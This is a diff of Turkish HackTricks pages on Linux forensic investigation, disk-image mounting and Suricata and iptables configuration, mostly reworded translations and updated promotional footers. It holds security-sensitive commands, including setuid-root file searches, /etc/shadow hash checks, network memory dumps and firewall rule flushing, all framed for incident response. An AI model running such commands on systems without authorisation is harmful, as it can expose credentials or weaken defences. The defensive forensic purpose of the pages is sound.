@ -88,12 +89,12 @@ mount output/ewf1 -o ro,norecovery /mnt
```
### ArsenalImageMounter
Windows Uygulamasıdır ve birimleri bağlamak için kullanılır. İndirebilirsiniz buradan [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
Bu, hacimlerin bağlanması için bir Windows Uygulamasıdır. Bunu buradan indirebilirsiniz [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
### Hatalar
* **`/dev/loop0 salt okunur olarak bağlanamaz`** bu durumda **`-o ro,norecovery`** bayraklarını kullanmanız gerekmektedir.
* **`yanlış fs türü, kötü seçenek, /dev/loop0 üzerinde kötü süper blok, eksik kod sayfası veya yardımcı program, veya diğer hata.`** bu durumda bağlamanın başarısız olduğu çünkü dosya sisteminin ofseti disk imajının ofsetinden farklıdır. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekmektedir:
* **`cannot mount /dev/loop0 read-only`** bu durumda **`-o ro,norecovery`** bayraklarını kullanmanız gerekir.
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** bu durumda bağlama, dosya sisteminin ofsetinin disk görüntüsünün ofsetinden farklı olmasından dolayı başarısız oldu. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekir:
```bash
fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
@ -106,7 +107,7 @@ Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type
disk.img1 2048 208895 206848 101M 1 FAT12
```
Sektör boyutunun **512** ve başlangıcın **2048** olduğunu unutmayın. Ardından resmi şu şekilde bağlayın:
Not edin ki sektör boyutu **512** ve başlangıç **2048**'dir. Ardından görüntüyü şu şekilde monte edin:
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
@ -114,14 +115,17 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks swag'ini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'larınızı [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud)** gönderin.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -54,8 +54,8 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
Temel bilgileri elde ederken, garip şeyler için kontrol etmelisiniz:
* **Root süreçleri** genellikle düşük PID'lerle çalışır, bu yüzden büyük bir PID'ye sahip bir root süreci bulursanız şüphelenebilirsiniz.
* `/etc/passwd` içinde shell'i olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin.
* **Root süreçleri** genellikle düşük PID'lerle çalışır, bu yüzden büyük bir PID ile bir root süreci bulursanız şüphelenebilirsiniz.
* `/etc/passwd` içinde bir shell'i olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin.
* Shell'i olmayan kullanıcılar için `/etc/shadow` içinde **şifre hash'lerini** kontrol edin.
### Bellek Dökümü
@ -76,7 +76,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiME 3 **formatı** destekler:
* Ham (her segment bir araya getirilmiş)
* Doldurulmuş (ham ile aynı, ancak sağ bitlerde sıfırlar ile)
* Doldurulmuş (ham ile aynı, ancak sağ bitlerde sıfırlarla)
* Lime (meta verilerle önerilen format)
LiME ayrıca **dökümü ağ üzerinden göndermek için** de kullanılabilir, bunu yapmak için şöyle bir şey kullanabilirsiniz: `path=tcp:4444`
@ -86,7 +86,7 @@ LiME ayrıca **dökümü ağ üzerinden göndermek için** de kullanılabilir, b
#### Kapatma
Öncelikle, **sistemi kapatmanız** gerekecek. Bu her zaman bir seçenek değildir çünkü bazen sistem, şirketin kapatmayı göze alamayacağı bir üretim sunucusu olabilir.\
Sistemi kapatmanın **2 yolu** vardır, bir **normal kapatma** ve bir **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlanmasına** ve **dosya sisteminin** **senkronize edilmesine** izin verir, ancak aynı zamanda olası **kötü amaçlı yazılımın** **delilleri yok etmesine** de olanak tanır. "Fişi çekme" yaklaşımı, **biraz bilgi kaybı** taşıyabilir (bilgilerin çoğu kaybolmayacak çünkü zaten belleğin bir görüntüsünü aldık) ve **kötü amaçlı yazılımın** bununla ilgili bir şey yapma fırsatı olmayacaktır. Bu nedenle, eğer **kötü amaçlı yazılım** olabileceğinden **şüpheleniyorsanız**, sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
Sistemi kapatmanın **2 yolu** vardır, bir **normal kapatma** ve bir **"fişi çekme" kapatması**. İlk yöntem, **işlemlerin normal şekilde sonlanmasına** ve **dosya sisteminin** **senkronize edilmesine** izin verir, ancak aynı zamanda olası **kötü amaçlı yazılımın** **delilleri yok etmesine** de olanak tanır. "Fişi çekme" yaklaşımı, **biraz bilgi kaybı** taşıyabilir (bilgilerin çoğu kaybolmayacak çünkü zaten belleğin bir görüntüsünü aldık) ve **kötü amaçlı yazılımın** bununla ilgili bir şey yapma fırsatı olmayacaktır. Bu nedenle, eğer **kötü amaçlı yazılım** olabileceğinden **şüpheleniyorsanız**, sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
#### Diskin görüntüsünü alma
@ -186,7 +186,7 @@ Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aram
* Debian için, paket yüklemeleri hakkında bilgi almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını kontrol edin, belirli bilgileri filtrelemek için `grep` kullanın.
* RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir.
Bu paket yöneticileri dışında veya manuel olarak yüklenmiş yazılımları ortaya çıkarmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Bilinen paketlerle ilişkilendirilmemiş çalıştırılabilir dosyaları tanımlamak için dizin listelemelerini sistem özel komutlarıyla birleştirerek tüm yüklenmiş programlar için aramanızı geliştirin.
Bu paket yöneticileri dışında manuel olarak yüklenmiş yazılımları ortaya çıkarmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Bilinen paketlerle ilişkilendirilmemiş çalıştırılabilir dosyaları tanımlamak için dizin listelemelerini sistem özel komutlarıyla birleştirerek tüm yüklenmiş programlar için aramanızı geliştirin.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -258,15 +258,15 @@ Kötü amaçlı yazılım tarafından genellikle rootkit bileşenleri olarak kul
### Diğer Otomatik Başlatma Yerleri
Linux, kullanıcı girişi sırasında programları otomatik olarak çalıştırmak için çeşitli dosyalar kullanır, bu da kötü amaçlı yazılımları barındırma potansiyeline sahiptir:
Linux, kullanıcı girişi sırasında programları otomatik olarak çalıştırmak için çeşitli dosyalar kullanır, bu da kötü amaçlı yazılımları barındırabilir:
* **/etc/profile.d/**\*, **/etc/profile**, ve **/etc/bash.bashrc**: Herhangi bir kullanıcı girişi için çalıştırılır.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı giriş yaptığında çalışır.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, giriş yaptıklarında çalışır.
* **/etc/rc.local**: Tüm sistem hizmetleri başlatıldıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaret eder.
## Günlükleri İnceleyin
Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla takip eder. Bu günlükler, yetkisiz erişim, kötü amaçlı yazılım enfeksiyonları ve diğer güvenlik olaylarını tanımlamak için kritik öneme sahiptir. Anahtar günlük dosyaları şunlardır:
Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla takip eder. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım enfeksiyonlarını ve diğer güvenlik olaylarını tanımlamak için kritik öneme sahiptir. Anahtar günlük dosyaları şunlardır:
* **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar.
* **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız girişleri kaydeder.
@ -285,7 +285,7 @@ Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli g
* **/var/log/**: Burada beklenmedik günlükleri her zaman kontrol edin.
{% hint style="info" %}
Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Çünkü Linux sistemlerindeki günlükler genellikle kötü niyetli etkinlikler hakkında en yararlı bilgileri içerir, bu nedenle saldırganlar bunları düzenli olarak siler. Bu nedenle, mevcut günlük dosyalarını incelerken, silinme veya müdahale belirtisi olabilecek boşluklar veya düzensiz girişler aramak önemlidir.
Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Çünkü Linux sistemlerindeki günlükler genellikle kötü niyetli etkinlikler hakkında en yararlı bilgileri içerir, saldırganlar bunları düzenli olarak siler. Bu nedenle, mevcut günlük dosyalarını incelerken, silinme veya müdahale belirtisi olabilecek boşluklar veya düzensiz girişler aramak önemlidir.
{% endhint %}
**Linux, her kullanıcı için bir komut geçmişi tutar**, şu dosyalarda saklanır:
@ -349,7 +349,7 @@ Bugün Erişim Alın:
## Kullanıcı Hesaplarını ve Giriş Aktivitelerini Gözden Geçirin
_**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** inceleyin; olağandışı isimler veya bilinen yetkisiz olaylarla yakın zamanda oluşturulmuş veya kullanılmış hesaplar arayın. Ayrıca, olası sudo brute-force saldırılarını kontrol edin.\
Ayrıca, kullanıcılara verilen beklenmedik ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\
Ayrıca, kullanıcılara verilen beklenmedik ayrıcalıklar için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\
Son olarak, **şifresiz** veya **kolay tahmin edilebilen** şifreleri olan hesapları arayın.
## Dosya Sistemini İnceleyin
@ -360,14 +360,14 @@ Kötü amaçlı yazılım olaylarını araştırırken, dosya sisteminin yapıs
Bu anti-forensic yöntemlere karşı koymak için:
* **Olay zaman çizelgelerini görselleştirmek için** **Autopsy** gibi araçlar kullanarak **kapsamlı bir zaman çizelgesi analizi** yapın veya **Sleuth Kit'in** `mactime` aracını detaylı zaman çizelgesi verileri için kullanın.
* **Olay zaman çizelgelerini görselleştirmek için** **Autopsy** gibi araçlar kullanarak **kapsamlı bir zaman çizelgesi analizi** yapın veya **Sleuth Kit'in** `mactime` aracını kullanarak detaylı zaman çizelgesi verileri elde edin.
* **Sistem $PATH'inde beklenmedik betikleri** araştırın; bu, saldırganlar tarafından kullanılan shell veya PHP betiklerini içerebilir.
* **Atypik dosyalar için `/dev`'i inceleyin**; bu genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilgili dosyalar barındırabilir.
* **Gizli dosyalar veya dizinler** arayın; ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip olabilirler ve kötü amaçlı içerikleri gizleyebilirler.
* **setuid root dosyalarını tanımlayın**; komut: `find / -user root -perm -04000 -print` Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur.
* **Atypik dosyalar için `/dev`'i inceleyin**; bu genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilgili dosyalar da barındırabilir.
* **Kötü amaçlı içeriği gizleyebilecek** ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip gizli dosyalar veya dizinler arayın.
* **Setuid root dosyalarını tanımlayın**; komut: `find / -user root -perm -04000 -print` Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur.
* **Kütük tablolarındaki silme zaman damgalarını gözden geçirin**; bu, kök kitleri veya trojanların varlığını gösterebilecek kitlesel dosya silme işlemlerini tespit etmek için kullanılabilir.
* **Bir kötü amaçlı dosya tespit edildikten sonra** yanındaki ardışık inode'ları inceleyin; bunlar birlikte yerleştirilmiş olabilir.
* **Son zamanlarda değiştirilmiş dosyalar için yaygın ikili dizinleri** (_/bin_, _/sbin_) kontrol edin; bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir.
* **Bir kötü amaçlı dosya tespit edildikten sonra** yanındaki ardışık inode'ları inceleyin; çünkü bunlar birlikte yerleştirilmiş olabilir.
* **Son zamanlarda değiştirilmiş dosyalar için yaygın ikili dizinleri** (_/bin_, _/sbin_) kontrol edin; çünkü bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -403,7 +403,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* `D`: Silinen dosyalar
* `M`: Değiştirilen dosyalar
* `R`: Yeniden adlandırılan dosyalar
* `T`: Tür değişiklikleri (örn., dosya ile symlink)
* `T`: Tür değişiklikleri (örneğin, dosya ile symlink arasında)
* `U`: Birleştirilmemiş dosyalar
* `X`: Bilinmeyen dosyalar
* `B`: Bozuk dosyalar
@ -415,19 +415,20 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Kitap: Linux Sistemleri için Kötü Amaçlı Yazılım Adli Bilişim Alan Rehberi**
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong> sıfırdan kahramana AWS hacking öğrenin </strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Ekip Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
Bir **siber güvenlik şirketinde** mi çalışıyorsunuz? **şirketinizin HackTricks'te reklamını görmek** mi istiyorsunuz? veya **PEASS'ın en son sürümüne erişim** mi istiyorsunuz ya da **HackTricks'i PDF olarak indirin**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesini**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bana** **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Hacking ipuçlarınızı paylaşmak için** [**hacktricks repo'suna**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo'suna**](https://github.com/carlospolop/hacktricks-cloud) **PR gönderin.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>

View file

@ -1,28 +1,31 @@
# Suricata & Iptables hile yaprağı
# Suricata & Iptables cheatsheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iptables
### Zincirler
Iptables'ta, zincir olarak bilinen kurallar listeleri sıralı olarak işlenir. Bunlar arasında, üç temel zincir evrensel olarak bulunur ve NAT gibi ek zincirler, sistem yeteneklerine bağlı olarak desteklenebilir.
Iptables'ta, kuralların listeleri zincirler olarak adlandırılır ve sıralı bir şekilde işlenir. Bunlar arasında, evrensel olarak mevcut olan üç ana zincir bulunur; sistemin yeteneklerine bağlı olarak NAT gibi ek zincirler de desteklenebilir.
- **Giriş Zinciri**: Gelen bağlantıların davranışını yönetmek için kullanılır.
- **İleri Zinciri**: Yerel sistem için hedeflenmeyen gelen bağlantıları yönetmek için kullanılır. Bu, yönlendirici olarak hareket eden cihazlar için tipiktir, burada alınan veriler başka bir hedefe iletilmek üzere yönlendirilmelidir. Bu zincir, sistem yönlendirme, NAT veya benzeri faaliyetlerle ilgili olduğunda öncelikli olarak ilgilidir.
- **Çıkış Zinciri**: Çıkış bağlantılarının düzenlenmesine adanmıştır.
- **İleri Zincir**: Yerel sisteme yönlendirilmeyen gelen bağlantıları işlemek için kullanılır. Bu, verilerin başka bir hedefe iletilmesi gereken yönlendirici olarak işlev gören cihazlar için tipiktir. Bu zincir, sistemin yönlendirme, NAT yapma veya benzeri faaliyetlerde bulunduğu durumlarda önemlidir.
- **Çıkış Zinciri**: Giden bağlantıların düzenlenmesine adanmıştır.
Bu zincirler, ağ trafiğinin düzenli işlenmesini sağlar ve bir sisteme giren, içinden geçen ve çıkan veri akışını ayrıntılı kuralların belirlenmesine olanak tanır.
Bu zincirler, ağ trafiğinin düzenli bir şekilde işlenmesini sağlar ve bir sistemin içine, içinden ve dışına veri akışını yöneten ayrıntılı kuralların belirtilmesine olanak tanır.
```bash
# Delete all rules
iptables -F
@ -61,80 +64,7 @@ iptables-restore < /etc/sysconfig/iptables
```
## Suricata
### Kurulum ve Yapılandırma
```bash
# Suricata'yı yüklemek için aşağıdaki komutu kullanın:
sudo apt-get install suricata
# Suricata'nın yapılandırma dosyasını düzenlemek için aşağıdaki komutu kullanın:
sudo nano /etc/suricata/suricata.yaml
# Suricata'nın çalışmasını sağlamak için aşağıdaki komutu kullanın:
sudo suricata -c /etc/suricata/suricata.yaml -i eth0
# Suricata'nın sistem başlangıcında otomatik olarak çalışmasını sağlamak için aşağıdaki komutu kullanın:
sudo systemctl enable suricata
# Suricata'nın çalıştığı arayüzleri kontrol etmek için aşağıdaki komutu kullanın:
sudo suricata --list-interfaces
```
### Kurallar
```bash
# Suricata kurallarını güncellemek için aşağıdaki komutu kullanın:
sudo suricata-update
# Suricata kurallarını kontrol etmek için aşağıdaki komutu kullanın:
sudo suricata-update list-enabled-rulesets
# Suricata kurallarını etkinleştirmek veya devre dışı bırakmak için aşağıdaki komutu kullanın:
sudo suricata-update enable-rule <rule-id>
sudo suricata-update disable-rule <rule-id>
```
### Loglar
```bash
# Suricata loglarını kontrol etmek için aşağıdaki komutu kullanın:
sudo tail -f /var/log/suricata/fast.log
sudo tail -f /var/log/suricata/stats.log
```
## IPTables
### Kurallar
```bash
# IPTables kurallarını listelemek için aşağıdaki komutu kullanın:
sudo iptables -L
# IPTables kurallarını temizlemek için aşağıdaki komutu kullanın:
sudo iptables -F
# IPTables kurallarını kaydetmek için aşağıdaki komutu kullanın:
sudo iptables-save > iptables-rules.txt
# IPTables kurallarını yüklemek için aşağıdaki komutu kullanın:
sudo iptables-restore < iptables-rules.txt
# IPTables kurallarını geçici olarak devre dışı bırakmak için aşağıdaki komutu kullanın:
sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
```
### NAT
```bash
# IPTables NAT kurallarını etkinleştirmek için aşağıdaki komutu kullanın:
sudo sysctl -w net.ipv4.ip_forward=1
# IPTables NAT kurallarını eklemek için aşağıdaki komutu kullanın:
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
### Kurulum ve Konfigürasyon
```bash
# Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
# Ubuntu
@ -200,59 +130,59 @@ Type=simple
systemctl daemon-reload
```
### Kural Tanımları
### Kurallar Tanımları
[Dökümantasyondan:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Bir kural/imza aşağıdakilerden oluşur:
[Belgelerden:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Bir kural/imza aşağıdakilerden oluşur:
* **Eylem**, imza eşleştiğinde ne olduğunu belirler.
* **Başlık**, kuralın protokolünü, IP adreslerini, portları ve yönünü tanımlar.
* **Kural seçenekleri**, kuralın ayrıntılarını belirler.
* **hareket**, imza eşleştiğinde ne olacağını belirler.
* **başlık**, kuralın protokolünü, IP adreslerini, portları ve yönünü tanımlar.
* **kural seçenekleri**, kuralın ayrıntılarını tanımlar.
```bash
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
```
#### **Geçerli eylemler şunlardır**
* alert - bir uyarı oluştur
* pass - paketin daha fazla denetimini durdur
* pass - paketin daha fazla incelenmesini durdur
* **drop** - paketi düşür ve uyarı oluştur
* **reject** - eşleşen paketin gönderene RST/ICMP ulaşılamaz hata gönder
* **reject** - eşleşen paketin göndericisine RST/ICMP ulaşılamaz hatası gönder
* rejectsrc - sadece _reject_ ile aynı
* rejectdst - eşleşen paketin alıcıya RST/ICMP hata paketi gönder
* rejectboth - konuşmanın her iki tarafına da RST/ICMP hata paketi gönder
* rejectdst - eşleşen paketin alıcısına RST/ICMP hata paketi gönder
* rejectboth - konuşmanın her iki tarafına RST/ICMP hata paketleri gönder
#### **Protokoller**
* tcp (tcp trafiği için)
* tcp (tcp-trafik için)
* udp
* icmp
* ip (ip 'tümü' veya 'herhangi biri' anlamına gelir)
* _katman 7 protokolleri_: http, ftp, tls, smb, dns, ssh... (daha fazlası için [**dokümantasyon**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
* ip (ip 'tümü' veya 'herhangi' anlamına gelir)
* _layer7 protokolleri_: http, ftp, tls, smb, dns, ssh... (daha fazlası için [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
#### Kaynak ve Hedef Adresler
#### Kaynak ve Hedef Adresleri
IP aralıklarını, inkarları ve adres listelerini destekler:
IP aralıklarını, olumsuzlamaları ve adres listelerini destekler:
| Örnek | Anlam |
| Örnek | Anlamı |
| ------------------------------ | ---------------------------------------- |
| ! 1.1.1.1 | 1.1.1.1 dışındaki her IP adresi |
| !\[1.1.1.1, 1.1.1.2] | 1.1.1.1 ve 1.1.1.2 dışındaki her IP adresi |
| $HOME\_NET | yaml'daki HOME\_NET ayarınız |
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET ve HOME\_NET dışındaki adresler |
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24, 10.0.0.5 hariç |
| ! 1.1.1.1 | 1.1.1.1 hariç her IP adresi |
| !\[1.1.1.1, 1.1.1.2] | 1.1.1.1 ve 1.1.1.2 hariç her IP adresi |
| $HOME\_NET | yaml'daki HOME\_NET ayarınız |
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET ve HOME\_NET hariç |
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24, 10.0.0.5 hariç |
#### Kaynak ve Hedef Portlar
#### Kaynak ve Hedef Portları
Port aralıklarını, inkarları ve port listelerini destekler
Port aralıklarını, olumsuzlamaları ve port listelerini destekler
| Örnek | Anlam |
| Örnek | Anlamı |
| --------------- | -------------------------------------- |
| any | herhangi bir adres |
| any | herhangi bir adres |
| \[80, 81, 82] | port 80, 81 ve 82 |
| \[80: 82] | 80'den 82'ye kadar olan aralık |
| \[80: 82] | 80'den 82'ye kadar aralık |
| \[1024: ] | 1024'ten en yüksek port numarasına kadar |
| !80 | 80 hariç her port |
| \[80:100,!99] | 80'den 100'e kadar olan aralık, ancak 99 hariç |
| \[1:80,!\[2,4]] | 1-80 aralığı, 2 ve 4 portları hariç |
| !80 | 80 hariç her port |
| \[80:100,!99] | 80'den 100'e kadar aralık ama 99 hariç |
| \[1:80,!\[2,4]] | 1-80 aralığı, port 2 ve 4 hariç |
#### Yön
@ -263,7 +193,7 @@ source <> destination (both directions)
```
#### Anahtar Kelimeler
Suricata'da **yüzlerce seçenek** bulunmaktadır ve aradığınız **belirli paketi** bulmak için kullanılabilir. Eğer ilginç bir şey bulunursa burada belirtilecektir. Daha fazlası için [**belgelendirmeye**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) göz atın!
